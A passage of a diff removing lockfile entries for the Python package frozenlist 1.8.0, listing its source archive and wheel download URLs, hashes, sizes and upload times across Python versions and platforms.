-sdist = { url = "https://files.pythonhosted.org/packages/2d/f5/c831fac6cc817d26fd54c7eaccd04ef7e0288806943f7cc5bbf69f3ac1f0/frozenlist-1.8.0.tar.gz", hash = "sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad", size = 45875, upload-time = "2025-10-06T05:38:17.865Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/83/4a/557715d5047da48d54e659203b9335be7bfaafda2c3f627b7c47e0b3aaf3/frozenlist-1.8.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:b37f6d31b3dcea7deb5e9696e529a6aa4a898adc33db82da12e4c60a7c4d2011", size = 86230, upload-time = "2025-10-06T05:35:23.699Z" },
-    { url = "https://files.pythonhosted.org/packages/a2/fb/c85f9fed3ea8fe8740e5b46a59cc141c23b842eca617da8876cfce5f760e/frozenlist-1.8.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ef2b7b394f208233e471abc541cc6991f907ffd47dc72584acee3147899d6565", size = 49621, upload-time = "2025-10-06T05:35:25.341Z" },
-    { url = "https://files.pythonhosted.org/packages/63/70/26ca3f06aace16f2352796b08704338d74b6d1a24ca38f2771afbb7ed915/frozenlist-1.8.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a88f062f072d1589b7b46e951698950e7da00442fc1cacbe17e19e025dc327ad", size = 49889, upload-time = "2025-10-06T05:35:26.797Z" },
-    { url = "https://files.pythonhosted.org/packages/5d/ed/c7895fd2fde7f3ee70d248175f9b6cdf792fb741ab92dc59cd9ef3bd241b/frozenlist-1.8.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f57fb59d9f385710aa7060e89410aeb5058b99e62f4d16b08b91986b9a2140c2", size = 219464, upload-time = "2025-10-06T05:35:28.254Z" },
-    { url = "https://files.pythonhosted.org/packages/6b/83/4d587dccbfca74cb8b810472392ad62bfa100bf8108c7223eb4c4fa2f7b3/frozenlist-1.8.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:799345ab092bee59f01a915620b5d014698547afd011e691a208637312db9186", size = 221649, upload-time = "2025-10-06T05:35:29.454Z" },
-    { url = "https://files.pythonhosted.org/packages/6a/c6/fd3b9cd046ec5fff9dab66831083bc2077006a874a2d3d9247dea93ddf7e/frozenlist-1.8.0-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c23c3ff005322a6e16f71bf8692fcf4d5a304aaafe1e262c98c6d4adc7be863e", size = 219188, upload-time = "2025-10-06T05:35:30.951Z" },
-    { url = "https://files.pythonhosted.org/packages/ce/80/6693f55eb2e085fc8afb28cf611448fb5b90e98e068fa1d1b8d8e66e5c7d/frozenlist-1.8.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8a76ea0f0b9dfa06f254ee06053d93a600865b3274358ca48a352ce4f0798450", size = 231748, upload-time = "2025-10-06T05:35:32.101Z" },
-    { url = "https://files.pythonhosted.org/packages/97/d6/e9459f7c5183854abd989ba384fe0cc1a0fb795a83c033f0571ec5933ca4/frozenlist-1.8.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c7366fe1418a6133d5aa824ee53d406550110984de7637d65a178010f759c6ef", size = 236351, upload-time = "2025-10-06T05:35:33.834Z" },
-    { url = "https://files.pythonhosted.org/packages/97/92/24e97474b65c0262e9ecd076e826bfd1d3074adcc165a256e42e7b8a7249/frozenlist-1.8.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:13d23a45c4cebade99340c4165bd90eeb4a56c6d8a9d8aa49568cac19a6d0dc4", size = 218767, upload-time = "2025-10-06T05:35:35.205Z" },
-    { url = "https://files.pythonhosted.org/packages/ee/bf/dc394a097508f15abff383c5108cb8ad880d1f64a725ed3b90d5c2fbf0bb/frozenlist-1.8.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:e4a3408834f65da56c83528fb52ce7911484f0d1eaf7b761fc66001db1646eff", size = 235887, upload-time = "2025-10-06T05:35:36.354Z" },
-    { url = "https://files.pythonhosted.org/packages/40/90/25b201b9c015dbc999a5baf475a257010471a1fa8c200c843fd4abbee725/frozenlist-1.8.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:42145cd2748ca39f32801dad54aeea10039da6f86e303659db90db1c4b614c8c", size = 228785, upload-time = "2025-10-06T05:35:37.949Z" },
-    { url = "https://files.pythonhosted.org/packages/84/f4/b5bc148df03082f05d2dd30c089e269acdbe251ac9a9cf4e727b2dbb8a3d/frozenlist-1.8.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e2de870d16a7a53901e41b64ffdf26f2fbb8917b3e6ebf398098d72c5b20bd7f", size = 230312, upload-time = "2025-10-06T05:35:39.178Z" },
-    { url = "https://files.pythonhosted.org/packages/db/4b/87e95b5d15097c302430e647136b7d7ab2398a702390cf4c8601975709e7/frozenlist-1.8.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:20e63c9493d33ee48536600d1a5c95eefc870cd71e7ab037763d1fbb89cc51e7", size = 217650, upload-time = "2025-10-06T05:35:40.377Z" },
-    { url = "https://files.pythonhosted.org/packages/e5/70/78a0315d1fea97120591a83e0acd644da638c872f142fd72a6cebee825f3/frozenlist-1.8.0-cp310-cp310-win32.whl", hash = "sha256:adbeebaebae3526afc3c96fad434367cafbfd1b25d72369a9e5858453b1bb71a", size = 39659, upload-time = "2025-10-06T05:35:41.863Z" },
-    { url = "https://files.pythonhosted.org/packages/66/aa/3f04523fb189a00e147e60c5b2205126118f216b0aa908035c45336e27e4/frozenlist-1.8.0-cp310-cp310-win_amd64.whl", hash = "sha256:667c3777ca571e5dbeb76f331562ff98b957431df140b54c85fd4d52eea8d8f6", size = 43837, upload-time = "2025-10-06T05:35:43.205Z" },
-    { url = "https://files.pythonhosted.org/packages/39/75/1135feecdd7c336938bd55b4dc3b0dfc46d85b9be12ef2628574b28de776/frozenlist-1.8.0-cp310-cp310-win_arm64.whl", hash = "sha256:80f85f0a7cc86e7a54c46d99c9e1318ff01f4687c172ede30fd52d19d1da1c8e", size = 39989, upload-time = "2025-10-06T05:35:44.596Z" },
-    { url = "https://files.pythonhosted.org/packages/bc/03/077f869d540370db12165c0aa51640a873fb661d8b315d1d4d67b284d7ac/frozenlist-1.8.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:09474e9831bc2b2199fad6da3c14c7b0fbdd377cce9d3d77131be28906cb7d84", size = 86912, upload-time = "2025-10-06T05:35:45.98Z" },
-    { url = "https://files.pythonhosted.org/packages/df/b5/7610b6bd13e4ae77b96ba85abea1c8cb249683217ef09ac9e0ae93f25a91/frozenlist-1.8.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:17c883ab0ab67200b5f964d2b9ed6b00971917d5d8a92df149dc2c9779208ee9", size = 50046, upload-time = "2025-10-06T05:35:47.009Z" },
-    { url = "https://files.pythonhosted.org/packages/6e/ef/0e8f1fe32f8a53dd26bdd1f9347efe0778b0fddf62789ea683f4cc7d787d/frozenlist-1.8.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:fa47e444b8ba08fffd1c18e8cdb9a75db1b6a27f17507522834ad13ed5922b93", size = 50119, upload-time = "2025-10-06T05:35:48.38Z" },
-    { url = "https://files.pythonhosted.org/packages/11/b1/71a477adc7c36e5fb628245dfbdea2166feae310757dea848d02bd0689fd/frozenlist-1.8.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2552f44204b744fba866e573be4c1f9048d6a324dfe14475103fd51613eb1d1f", size = 231067, upload-time = "2025-10-06T05:35:49.97Z" },
-    { url = "https://files.pythonhosted.org/packages/45/7e/afe40eca3a2dc19b9904c0f5d7edfe82b5304cb831391edec0ac04af94c2/frozenlist-1.8.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:957e7c38f250991e48a9a73e6423db1bb9dd14e722a10f6b8bb8e16a0f55f695", size = 233160, upload-time = "2025-10-06T05:35:51.729Z" },
-    { url = "https://files.pythonhosted.org/packages/a6/aa/7416eac95603ce428679d273255ffc7c998d4132cfae200103f164b108aa/frozenlist-1.8.0-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:8585e3bb2cdea02fc88ffa245069c36555557ad3609e83be0ec71f54fd4abb52", size = 228544, upload-time = "2025-10-06T05:35:53.246Z" },
-    { url = "https://files.pythonhosted.org/packages/8b/3d/2a2d1f683d55ac7e3875e4263d28410063e738384d3adc294f5ff3d7105e/frozenlist-1.8.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:edee74874ce20a373d62dc28b0b18b93f645633c2943fd90ee9d898550770581", size = 243797, upload-time = "2025-10-06T05:35:54.497Z" },
-    { url = "https://files.pythonhosted.org/packages/78/1e/2d5565b589e580c296d3bb54da08d206e797d941a83a6fdea42af23be79c/frozenlist-1.8.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c9a63152fe95756b85f31186bddf42e4c02c6321207fd6601a1c89ebac4fe567", size = 247923, upload-time = "2025-10-06T05:35:55.861Z" },
-    { url = "https://files.pythonhosted.org/packages/aa/c3/65872fcf1d326a7f101ad4d86285c403c87be7d832b7470b77f6d2ed5ddc/frozenlist-1.8.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b6db2185db9be0a04fecf2f241c70b63b1a242e2805be291855078f2b404dd6b", size = 230886, upload-time = "2025-10-06T05:35:57.399Z" },
-    { url = "https://files.pythonhosted.org/packages/a0/76/ac9ced601d62f6956f03cc794f9e04c81719509f85255abf96e2510f4265/frozenlist-1.8.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:f4be2e3d8bc8aabd566f8d5b8ba7ecc09249d74ba3c9ed52e54dc23a293f0b92", size = 245731, upload-time = "2025-10-06T05:35:58.563Z" },
-    { url = "https://files.pythonhosted.org/packages/b9/49/ecccb5f2598daf0b4a1415497eba4c33c1e8ce07495eb07d2860c731b8d5/frozenlist-1.8.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:c8d1634419f39ea6f5c427ea2f90ca85126b54b50837f31497f3bf38266e853d", size = 241544, upload-time = "2025-10-06T05:35:59.719Z" },
-    { url = "https://files.pythonhosted.org/packages/53/4b/ddf24113323c0bbcc54cb38c8b8916f1da7165e07b8e24a717b4a12cbf10/frozenlist-1.8.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:1a7fa382a4a223773ed64242dbe1c9c326ec09457e6b8428efb4118c685c3dfd", size = 241806, upload-time = "2025-10-06T05:36:00.959Z" },
-    { url = "https://files.pythonhosted.org/packages/a7/fb/9b9a084d73c67175484ba2789a59f8eebebd0827d186a8102005ce41e1ba/frozenlist-1.8.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:11847b53d722050808926e785df837353bd4d75f1d494377e59b23594d834967", size = 229382, upload-time = "2025-10-06T05:36:02.22Z" },
-    { url = "https://files.pythonhosted.org/packages/95/a3/c8fb25aac55bf5e12dae5c5aa6a98f85d436c1dc658f21c3ac73f9fa95e5/frozenlist-1.8.0-cp311-cp311-win32.whl", hash = "sha256:27c6e8077956cf73eadd514be8fb04d77fc946a7fe9f7fe167648b0b9085cc25", size = 39647, upload-time = "2025-10-06T05:36:03.409Z" },
-    { url = "https://files.pythonhosted.org/packages/0a/f5/603d0d6a02cfd4c8f2a095a54672b3cf967ad688a60fb9faf04fc4887f65/frozenlist-1.8.0-cp311-cp311-win_amd64.whl", hash = "sha256:ac913f8403b36a2c8610bbfd25b8013488533e71e62b4b4adce9c86c8cea905b", size = 44064, upload-time = "2025-10-06T05:36:04.368Z" },
-    { url = "https://files.pythonhosted.org/packages/5d/16/c2c9ab44e181f043a86f9a8f84d5124b62dbcb3a02c0977ec72b9ac1d3e0/frozenlist-1.8.0-cp311-cp311-win_arm64.whl", hash = "sha256:d4d3214a0f8394edfa3e303136d0575eece0745ff2b47bd2cb2e66dd92d4351a", size = 39937, upload-time = "2025-10-06T05:36:05.669Z" },
-    { url = "https://files.pythonhosted.org/packages/69/29/948b9aa87e75820a38650af445d2ef2b6b8a6fab1a23b6bb9e4ef0be2d59/frozenlist-1.8.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1", size = 87782, upload-time = "2025-10-06T05:36:06.649Z" },
-    { url = "https://files.pythonhosted.org/packages/64/80/4f6e318ee2a7c0750ed724fa33a4bdf1eacdc5a39a7a24e818a773cd91af/frozenlist-1.8.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:229bf37d2e4acdaf808fd3f06e854a4a7a3661e871b10dc1f8f1896a3b05f18b", size = 50594, upload-time = "2025-10-06T05:36:07.69Z" },
-    { url = "https://files.pythonhosted.org/packages/2b/94/5c8a2b50a496b11dd519f4a24cb5496cf125681dd99e94c604ccdea9419a/frozenlist-1.8.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4", size = 50448, upload-time = "2025-10-06T05:36:08.78Z" },
-    { url = "https://files.pythonhosted.org/packages/6a/bd/d91c5e39f490a49df14320f4e8c80161cfcce09f1e2cde1edd16a551abb3/frozenlist-1.8.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383", size = 242411, upload-time = "2025-10-06T05:36:09.801Z" },
-    { url = "https://files.pythonhosted.org/packages/8f/83/f61505a05109ef3293dfb1ff594d13d64a2324ac3482be2cedc2be818256/frozenlist-1.8.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4", size = 243014, upload-time = "2025-10-06T05:36:11.394Z" },
-    { url = "https://files.pythonhosted.org/packages/d8/cb/cb6c7b0f7d4023ddda30cf56b8b17494eb3a79e3fda666bf735f63118b35/frozenlist-1.8.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8", size = 234909, upload-time = "2025-10-06T05:36:12.598Z" },
-    { url = "https://files.pythonhosted.org/packages/31/c5/cd7a1f3b8b34af009fb17d4123c5a778b44ae2804e3ad6b86204255f9ec5/frozenlist-1.8.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b", size = 250049, upload-time = "2025-10-06T05:36:14.065Z" },
-    { url = "https://files.pythonhosted.org/packages/c0/01/2f95d3b416c584a1e7f0e1d6d31998c4a795f7544069ee2e0962a4b60740/frozenlist-1.8.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52", size = 256485, upload-time = "2025-10-06T05:36:15.39Z" },
-    { url = "https://files.pythonhosted.org/packages/ce/03/024bf7720b3abaebcff6d0793d73c154237b85bdf67b7ed55e5e9596dc9a/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29", size = 237619, upload-time = "2025-10-06T05:36:16.558Z" },
-    { url = "https://files.pythonhosted.org/packages/69/fa/f8abdfe7d76b731f5d8bd217827cf6764d4f1d9763407e42717b4bed50a0/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3", size = 250320, upload-time = "2025-10-06T05:36:17.821Z" },
-    { url = "https://files.pythonhosted.org/packages/f5/3c/b051329f718b463b22613e269ad72138cc256c540f78a6de89452803a47d/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143", size = 246820, upload-time = "2025-10-06T05:36:19.046Z" },
-    { url = "https://files.pythonhosted.org/packages/0f/ae/58282e8f98e444b3f4dd42448ff36fa38bef29e40d40f330b22e7108f565/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608", size = 250518, upload-time = "2025-10-06T05:36:20.763Z" },
-    { url = "https://files.pythonhosted.org/packages/8f/96/007e5944694d66123183845a106547a15944fbbb7154788cbf7272789536/frozenlist-1.8.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa", size = 239096, upload-time = "2025-10-06T05:36:22.129Z" },
-    { url = "https://files.pythonhosted.org/packages/66/bb/852b9d6db2fa40be96f29c0d1205c306288f0684df8fd26ca1951d461a56/frozenlist-1.8.0-cp312-cp312-win32.whl", hash = "sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf", size = 39985, upload-time = "2025-10-06T05:36:23.661Z" },
-    { url = "https://files.pythonhosted.org/packages/b8/af/38e51a553dd66eb064cdf193841f16f077585d4d28394c2fa6235cb41765/frozenlist-1.8.0-cp312-cp312-win_amd64.whl", hash = "sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746", size = 44591, upload-time = "2025-10-06T05:36:24.958Z" },
-    { url = "https://files.pythonhosted.org/packages/a7/06/1dc65480ab147339fecc70797e9c2f69d9cea9cf38934ce08df070fdb9cb/frozenlist-1.8.0-cp312-cp312-win_arm64.whl", hash = "sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd", size = 40102, upload-time = "2025-10-06T05:36:26.333Z" },
-    { url = "https://files.pythonhosted.org/packages/2d/40/0832c31a37d60f60ed79e9dfb5a92e1e2af4f40a16a29abcc7992af9edff/frozenlist-1.8.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a", size = 85717, upload-time = "2025-10-06T05:36:27.341Z" },
-    { url = "https://files.pythonhosted.org/packages/30/ba/b0b3de23f40bc55a7057bd38434e25c34fa48e17f20ee273bbde5e0650f3/frozenlist-1.8.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8cba41241f7", size = 49651, upload-time = "2025-10-06T05:36:28.855Z" },
-    { url = "https://files.pythonhosted.org/packages/0c/ab/6e5080ee374f875296c4243c381bbdef97a9ac39c6e3ce1d5f7d42cb78d6/frozenlist-1.8.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40", size = 49417, upload-time = "2025-10-06T05:36:29.877Z" },
-    { url = "https://files.pythonhosted.org/packages/d5/4e/e4691508f9477ce67da2015d8c00acd751e6287739123113a9fca6f1604e/frozenlist-1.8.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027", size = 234391, upload-time = "2025-10-06T05:36:31.301Z" },
-    { url = "https://files.pythonhosted.org/packages/40/76/c202df58e3acdf12969a7895fd6f3bc016c642e6726aa63bd3025e0fc71c/frozenlist-1.8.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822", size = 233048, upload-time = "2025-10-06T05:36:32.531Z" },
-    { url = "https://files.pythonhosted.org/packages/f9/c0/8746afb90f17b73ca5979c7a3958116e105ff796e718575175319b5bb4ce/frozenlist-1.8.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:03ae967b4e297f58f8c774c7eabcce57fe3c2434817d4385c50661845a058121", size = 226549, upload-time = "2025-10-06T05:36:33.706Z" },
-    { url = "https://files.pythonhosted.org/packages/7e/eb/4c7eefc718ff72f9b6c4893291abaae5fbc0c82226a32dcd8ef4f7a5dbef/frozenlist-1.8.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5", size = 239833, upload-time = "2025-10-06T05:36:34.947Z" },
-    { url = "https://files.pythonhosted.org/packages/c2/4e/e5c02187cf704224f8b21bee886f3d713ca379535f16893233b9d672ea71/frozenlist-1.8.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29548f9b5b5e3460ce7378144c3010363d8035cea44bc0bf02d57f5a685e084e", size = 245363, upload-time = "2025-10-06T05:36:36.534Z" },
-    { url = "https://files.pythonhosted.org/packages/1f/96/cb85ec608464472e82ad37a17f844889c36100eed57bea094518bf270692/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11", size = 229314, upload-time = "2025-10-06T05:36:38.582Z" },
-    { url = "https://files.pythonhosted.org/packages/5d/6f/4ae69c550e4cee66b57887daeebe006fe985917c01d0fff9caab9883f6d0/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1", size = 243365, upload-time = "2025-10-06T05:36:40.152Z" },
-    { url = "https://files.pythonhosted.org/packages/7a/58/afd56de246cf11780a40a2c28dc7cbabbf06337cc8ddb1c780a2d97e88d8/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1", size = 237763, upload-time = "2025-10-06T05:36:41.355Z" },
-    { url = "https://files.pythonhosted.org/packages/cb/36/cdfaf6ed42e2644740d4a10452d8e97fa1c062e2a8006e4b09f1b5fd7d63/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8", size = 240110, upload-time = "2025-10-06T05:36:42.716Z" },
-    { url = "https://files.pythonhosted.org/packages/03/a8/9ea226fbefad669f11b52e864c55f0bd57d3c8d7eb07e9f2e9a0b39502e1/frozenlist-1.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed", size = 233717, upload-time = "2025-10-06T05:36:44.251Z" },
-    { url = "https://files.pythonhosted.org/packages/1e/0b/1b5531611e83ba7d13ccc9988967ea1b51186af64c42b7a7af465dcc9568/frozenlist-1.8.0-cp313-cp313-win32.whl", hash = "sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496", size = 39628, upload-time = "2025-10-06T05:36:45.423Z" },
-    { url = "https://files.pythonhosted.org/packages/d8/cf/174c91dbc9cc49bc7b7aab74d8b734e974d1faa8f191c74af9b7e80848e6/frozenlist-1.8.0-cp313-cp313-win_amd64.whl", hash = "sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231", size = 43882, upload-time = "2025-10-06T05:36:46.796Z" },
-    { url = "https://files.pythonhosted.org/packages/c1/17/502cd212cbfa96eb1388614fe39a3fc9ab87dbbe042b66f97acb57474834/frozenlist-1.8.0-cp313-cp313-win_arm64.whl", hash = "sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62", size = 39676, upload-time = "2025-10-06T05:36:47.8Z" },
-    { url = "https://files.pythonhosted.org/packages/d2/5c/3bbfaa920dfab09e76946a5d2833a7cbdf7b9b4a91c714666ac4855b88b4/frozenlist-1.8.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94", size = 89235, upload-time = "2025-10-06T05:36:48.78Z" },
-    { url = "https://files.pythonhosted.org/packages/d2/d6/f03961ef72166cec1687e84e8925838442b615bd0b8854b54923ce5b7b8a/frozenlist-1.8.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:07cdca25a91a4386d2e76ad992916a85038a9b97561bf7a3fd12d5d9ce31870c", size = 50742, upload-time = "2025-10-06T05:36:49.837Z" },
-    { url = "https://files.pythonhosted.org/packages/1e/bb/a6d12b7ba4c3337667d0e421f7181c82dda448ce4e7ad7ecd249a16fa806/frozenlist-1.8.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52", size = 51725, upload-time = "2025-10-06T05:36:50.851Z" },
-    { url = "https://files.pythonhosted.org/packages/bc/71/d1fed0ffe2c2ccd70b43714c6cab0f4188f09f8a67a7914a6b46ee30f274/frozenlist-1.8.0-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51", size = 284533, upload-time = "2025-10-06T05:36:51.898Z" },
-    { url = "https://files.pythonhosted.org/packages/c9/1f/fb1685a7b009d89f9bf78a42d94461bc06581f6e718c39344754a5d9bada/frozenlist-1.8.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65", size = 292506, upload-time = "2025-10-06T05:36:53.101Z" },
-    { url = "https://files.pythonhosted.org/packages/e6/3b/b991fe1612703f7e0d05c0cf734c1b77aaf7c7d321df4572e8d36e7048c8/frozenlist-1.8.0-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82", size = 274161, upload-time = "2025-10-06T05:36:54.309Z" },
-    { url = "https://files.pythonhosted.org/packages/ca/ec/c5c618767bcdf66e88945ec0157d7f6c4a1322f1473392319b7a2501ded7/frozenlist-1.8.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714", size = 294676, upload-time = "2025-10-06T05:36:55.566Z" },
-    { url = "https://files.pythonhosted.org/packages/7c/ce/3934758637d8f8a88d11f0585d6495ef54b2044ed6ec84492a91fa3b27aa/frozenlist-1.8.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d", size = 300638, upload-time = "2025-10-06T05:36:56.758Z" },
-    { url = "https://files.pythonhosted.org/packages/fc/4f/a7e4d0d467298f42de4b41cbc7ddaf19d3cfeabaf9ff97c20c6c7ee409f9/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506", size = 283067, upload-time = "2025-10-06T05:36:57.965Z" },
-    { url = "https://files.pythonhosted.org/packages/dc/48/c7b163063d55a83772b268e6d1affb960771b0e203b632cfe09522d67ea5/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51", size = 292101, upload-time = "2025-10-06T05:36:59.237Z" },
-    { url = "https://files.pythonhosted.org/packages/9f/d0/2366d3c4ecdc2fd391e0afa6e11500bfba0ea772764d631bbf82f0136c9d/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e", size = 289901, upload-time = "2025-10-06T05:37:00.811Z" },
-    { url = "https://files.pythonhosted.org/packages/b8/94/daff920e82c1b70e3618a2ac39fbc01ae3e2ff6124e80739ce5d71c9b920/frozenlist-1.8.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc1583147fb05a79b0", size = 289395, upload-time = "2025-10-06T05:37:02.115Z" },
